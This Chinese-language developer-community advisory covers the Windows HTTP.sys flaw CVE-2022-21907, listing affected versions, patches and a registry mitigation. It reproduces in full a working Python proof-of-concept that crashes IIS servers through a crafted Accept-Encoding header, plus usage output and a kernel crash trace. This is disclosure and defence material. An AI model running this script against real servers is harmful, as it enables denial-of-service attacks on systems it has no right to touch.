AI 助理
备案控制台
开发者社区 开发与运维 文章 正文

HTTP协议栈远程代码执行漏洞（CVE-2022-21907）

2023-02-13 309
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： HTTP协议栈远程代码执行漏洞（CVE-2022-21907）

HTTP协议栈远程代码执行漏洞（CVE-2022-21907）

漏洞概述

未经身份验证的攻击者通过向Web服务器发送特制的HTTP数据包，从而在目标系统上执行任意代码。该漏洞被微软提示为“可蠕虫化”，无需用户交互便可通过网络进行自我传播，CVSS评分为9.8。目前已发现可造成目标主机蓝屏崩溃的漏洞利用出现，请相关用户尽快采取措施进行防护。

Windows HTTP 协议栈（HTTP.sys）是Windows操作系统中处理HTTP请求的内核驱动程序，常见于Web浏览器与 Web 服务器之间的通信，以及Internet Information Services (IIS)中。

风险等级

高危

易受攻击的系统

受影响版本

Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

不受影响版本

Windows 10 version 1909
Windows Server 2019（默认配置不受影响）
Windows 10 version 1809（默认配置不受影响）

漏洞利用

POC

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : CVE-2022-21907_http.sys_crash.py
# Author             : Podalirius (@podalirius_)
# Date created       : 13 Jan 2022

import argparse
import datetime
import requests
import time
import threading


def parseArgs():
    parser = argparse.ArgumentParser(description="Description message")
    parser.add_argument("-t", "--target", default=None, required=True, help='Target IIS Server.')
    parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
    return parser.parse_args()


def monitor_thread(target, dtime=5):
    print('[>] Started monitoring of target server for the next %d seconds.' % dtime)
    for k in range(dtime):
        try:
            r = requests.get(target, timeout=1)
        except (requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout) as e:
            print("   [%s] \x1b[1;91mTarget is down!\x1b[0m" % datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
        else:
            print("   [%s] \x1b[1;92mTarget is reachable!\x1b[0m" % datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
            time.sleep(1)


if __name__ == '__main__':
    options = parseArgs()

    if not options.target.startswith('http://') and not options.target.startswith('https://'):
        target = "http://" + options.target
    else:
        target = options.target

    payload = 'AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,'

    # Starting monitoring thread
    t = threading.Thread(target=monitor_thread, args=(target,))
    t.start()
    time.sleep(2)

    # Sending payload
    print("   [+] Sending payload ...")
    try:
        r = requests.get(target, headers={"Accept-Encoding": payload}, timeout=15)
    except (requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout) as e:
        t.join()
        print("[%s] \x1b[1;91mTarget successfully crashed!\x1b[0m" % datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))

    # Cleanup
    t.join()
$ ./CVE-2022-21907_http.sys_crash.py -h
usage: CVE-2022-21907_http.sys_crash.py [-h] -t TARGET [-v]

Description message

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target IIS Server.
  -v, --verbose         Verbose mode. (default: False)

崩溃时的调用图

STACK_TEXT:
ffffca0d`46cdf158 fffff800`4a1efe29 : 00000000`00000139 00000000`00000003 ffffca0d`46cdf480 ffffca0d`46cdf3d8 : nt!KeBugCheckEx
ffffca0d`46cdf160 fffff800`4a1f0250 : 00000000`00001000 ffffca0d`46cdf4a0 fffff800`4aa4ef00 00000000`00000000 : nt!KiBugCheckDispatch+0x69
ffffca0d`46cdf2a0 fffff800`4a1ee5e3 : 00000000`00000000 00000000`00000002 00000000`c0000225 01b00030`4a1ec14c : nt!KiFastFailDispatch+0xd0
ffffca0d`46cdf480 fffff800`4707f537 : 00000000`00000010 00000000`00010202 ffffca0d`46cdf638 00000000`00000018 : nt!KiRaiseSecurityCheckFailure+0x323
ffffca0d`46cdf610 fffff800`47036ac5 : ffff930c`202efef9 ffffca0d`00000001 ffffca0d`46cdf694 00000000`00000000 : HTTP!UlFreeUnknownCodingList+0x63
ffffca0d`46cdf640 fffff800`4700d191 : ffff70ca`b45420d8 ffffca0d`46cdf819 00000000`00000010 fffff800`4700d140 : HTTP!UlpParseAcceptEncoding+0x298f5
ffffca0d`46cdf730 fffff800`46fe9368 : fffff800`46fb46e0 ffffca0d`46cdf819 ffff930c`210ca050 00000000`00000000 : HTTP!UlAcceptEncodingHeaderHandler+0x51
ffffca0d`46cdf780 fffff800`46fe8a47 : ffffca0d`46cdf8e8 00000000`00000004 00000000`00000000 00000000`00000010 : HTTP!UlParseHeader+0x218
ffffca0d`46cdf880 fffff800`46f44c5f : ffff930c`19c16228 ffff930c`19c16010 ffffca0d`46cdfa79 00000000`00000000 : HTTP!UlParseHttp+0xac7
ffffca0d`46cdf9e0 fffff800`46f4490a : fffff800`46f44760 ffff930c`202efcf0 00000000`00000000 00000000`00000001 : HTTP!UlpParseNextRequest+0x1ff
ffffca0d`46cdfae0 fffff800`46fe4852 : fffff800`46f44760 fffff800`46f44760 00000000`00000001 00000000`00000000 : HTTP!UlpHandleRequest+0x1aa
ffffca0d`46cdfb80 fffff800`4a146745 : ffff930c`19c16090 fffff800`46fb5f80 00000000`00000284 00000000`00000000 : HTTP!UlpThreadPoolWorker+0x112
ffffca0d`46cdfc10 fffff800`4a1e5598 : ffffa580`1afc0180 ffff930c`1eec0040 fffff800`4a1466f0 00000000`00000246 : nt!PspSystemThreadStartup+0x55
ffffca0d`46cdfc60 00000000`00000000 : ffffca0d`46ce0000 ffffca0d`46cda000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x28

函数调用

 ───> nt!KiStartSystemThread+0x28
 │    ├──> nt!PspSystemThreadStartup+0x55
 │    │    ├──> HTTP!UlpThreadPoolWorker+0x112
 │    │    │    ├──> HTTP!UlpHandleRequest+0x1aa
 │    │    │    │    ├──> HTTP!UlpParseNextRequest+0x1ff
 │    │    │    │    │    ├──> HTTP!UlParseHttp+0xac7
 │    │    │    │    │    │    ├──> HTTP!UlParseHeader+0x218
 │    │    │    │    │    │    │    ├──> HTTP!UlAcceptEncodingHeaderHandler+0x51
 │    │    │    │    │    │    │    │    ├──> HTTP!UlpParseAcceptEncoding+0x298f5
 │    │    │    │    │    │    │    │    │    ├──> HTTP!UlFreeUnknownCodingList+0x63
 │    │    │    │    │    │    │    │    │    │    ├──> nt!KiRaiseSecurityCheckFailure+0x323
 │    │    │    │    │    │    │    │    │    │    │    ├──> nt!KiFastFailDispatch+0xd0
 │    │    │    │    │    │    │    │    │    │    │    │    ├──> nt!KiBugCheckDispatch+0x69
 │    │    │    │    │    │    │    │    │    │    │    │    │    └──> nt!KeBugCheckEx

漏洞防护

补丁更新

目前微软官方已针对受支持的产品版本发布了修复以上漏洞的安全补丁，强烈建议受影响用户尽快安装补丁进行防护，官方下载链接：

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907

注：由于网络问题、计算机环境问题等原因，Windows Update的补丁更新可能出现失败。用户在安装补丁后，应及时检查补丁是否成功更新。

右键点击Windows图标，选择“设置(N)”，选择“更新和安全”-“Windows更新”，查看该页面上的提示信息，也可点击“查看更新历史记录”查看历史更新情况。

针对未成功安装的更新，可点击更新名称跳转到微软官方下载页面，建议用户点击该页面上的链接，转到“Microsoft更新目录”网站下载独立程序包并安装。

临时防护措施

若使用Windows Server 2019和Windows 10 version
1809版本的用户暂时无法安装补丁，可使用下列措施进行临时缓解：

在DWORD注册表中删除“EnableTrailerSupport”可防护此漏洞的攻击，“EnableTrailerSupport”的路径为：HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters

注：当用户通过EnableTrailerSupport注册表值启用了HTTP Trailer
Support时，以上版本才受该漏洞影响，默认配置时不受该漏洞影响。

参考

文章标签：
Windows
安全
关键词：
HTTP协议
HTTPS漏洞
HTTPS协议栈
HTTP协议漏洞
HTTP远程代码执行
ckcsec
目录
相关文章
东方睿赢
|
2天前
|
数据采集 存储 JSON
从零到一构建网络爬虫帝国：HTTP协议+Python requests库深度解析
在网络数据的海洋中，网络爬虫遵循HTTP协议，穿梭于互联网各处，收集宝贵信息。本文将从零开始，使用Python的requests库，深入解析HTTP协议，助你构建自己的网络爬虫帝国。首先介绍HTTP协议基础，包括请求与响应结构；然后详细介绍requests库的安装与使用，演示如何发送GET和POST请求并处理响应；最后概述爬虫构建流程及挑战，帮助你逐步掌握核心技术，畅游数据海洋。
东方睿赢
16 3
众所周知
|
7天前
|
数据采集 网络协议 API
HTTP协议大揭秘！Python requests库实战，让网络请求变得简单高效
【9月更文挑战第13天】在数字化时代，互联网成为信息传输的核心平台，HTTP协议作为基石，定义了客户端与服务器间的数据传输规则。直接处理HTTP请求复杂繁琐，但Python的`requests`库提供了一个简洁强大的接口，简化了这一过程。HTTP协议采用请求与响应模式，无状态且结构化设计，使其能灵活处理各种数据交换。
众所周知
36 8
vohelon
|
6天前
|
缓存 网络协议 UED
HTTP协议介绍
HTTP协议的
vohelon
17 5
游客xusvbxsoy3qma
|
6天前
|
安全 网络安全 数据安全/隐私保护
HTTP与HTTPS协议区别及应用场景
在互联网高速发展的今天，HTTP与HTTPS作为数据传输的基石，作用至关重要。HTTP允许客户端与服务器间传输超文本文档，但其数据传输过程未加密，存在安全隐患；HTTPS则在此基础上加入了SSL/TLS协议，实现了数据加密传输，增强了安全性，广泛应用于电子商务、网上银行、政府网站及社交媒体平台等涉及敏感信息传输的领域，有效保护了用户隐私和数据安全。随着网络安全意识提升，HTTPS正逐渐成为主流。
游客xusvbxsoy3qma
18 3
vohelon
|
6天前
|
缓存 开发者
HTTP协议
HTTP协议
vohelon
18 2
GG2020gg
|
22天前
|
安全 Java Shell
【内网—内网转发】——http协议代理转发_reGeorg代理转发
【内网—内网转发】——http协议代理转发_reGeorg代理转发
GG2020gg
18 3
众所周知
|
1天前
|
Python
HTTP协议不再是迷！Python网络请求实战，带你走进网络世界的奥秘
本文介绍了HTTP协议，它是互联网信息传递的核心。作为客户端与服务器通信的基础，HTTP请求包括请求行、头和体三部分。通过Python的`requests`库，我们可以轻松实现HTTP请求。本文将指导你安装`requests`库，并通过实战示例演示如何发送GET和POST请求。无论你是想获取网页内容还是提交表单数据，都能通过简单的代码实现。希望本文能帮助你在Python网络请求的道路上迈出坚实的一步。
众所周知
8 0
小狮子安度因1
|
1月前
|
存储 网络协议 安全
HTTP协议和运行原理
HTTP协议和运行原理
小狮子安度因1
38 2
蓝易云
|
29天前
|
安全 网络协议
http协议的有效字符
HTTP协议中有效的字符集主要是ASCII字符，包括字母、数字、保留字符、子定界符，以及一些需转义的不安全字符。使用这些字符时，应该保证正确的编码和字符集的使用，以维护HTTP交流的准确性和安全性。当处理URI和构建HTTP请求时，对特殊字符进行适当的编码是至关重要的，以确保信息的无误传达和服务器的正确理解。在现代的网络通讯中，这些细节成为了保障交互效率和系统安全的基石。
蓝易云
16 0
亚当·
|
1月前
|
网络协议
Web中的HTTP协议
Web中的HTTP协议
亚当·
41 0

热门文章

最新文章

  • 1
    如何使用被信任的证书来配置SLB HTTPS协议，使slb站点支持ssl
  • 2
    部分HTTPS网站受影响：Firefox暂停“弃用SHA-1加密”计划
  • 3
    需要使用新应用以打开此https链接的解决方法
  • 4
    freeswitch使用sip集成网页电话，nginx配置https协议
  • 5
    7.7. HTTP Auth
  • 6
    统计http连接数
  • 7
    在HTTP响应标题中隐藏ASP.NET MVC的版本
  • 8
    httpd一之关于http工作模式的基本说明
  • 9
    HTTP协议GET和POST请求的区别
  • 10
    谷歌Chrome封杀赛门铁克：废止所有HTTPS凭证
  • 1
    RESTful接口与http协议状态表述
    33
  • 2
    HTTP 原理和面试题
    50
  • 3
    供应链投毒预警：恶意Py包伪装HTTP组件开展CStealer窃密后门攻击
    46
  • 4
    Spring Cloud Feign 使用Apache的HTTP Client替换Feign原生httpclient
    203
  • 5
    Cannot access repo1 (http://repo1.maven.org/maven2) in offline mode and the
    73
  • 6
    【Go语言专栏】使用Go语言编写HTTP服务器
    47
  • 7
    【亮剑】一次完整的HTTP请求的重要性和详细过程
    153
  • 8
    DataWorks产品使用合集之DataWorks创建HTTP触发器节点背景信息的步骤如何解决
    74
  • 9
    【计算机网络】http协议的原理与应用，https是如何保证安全传输的
    170
  • 10
    使用阿里云语音通知http批量推送模式获取用户回执短信内容
    365

    • 相关课程

    更多
  • Java Web开发-Web应用、Tomcat、HTTP请求与响应
  • 云安全基础课- HTTP协议基础

    • 相关电子书

    更多
  • 阿里巴巴HTTP 2.0实践及无线通信协议的演进之路
  • CDN助力企业网站进入HTTPS时代
  • 低代码开发师（初级）实战教程

    • 相关实验场景

    更多
  • 通过HTTPS加速网关快速部署网站加密
    • 下一篇
    基于LNMP搭建WordPress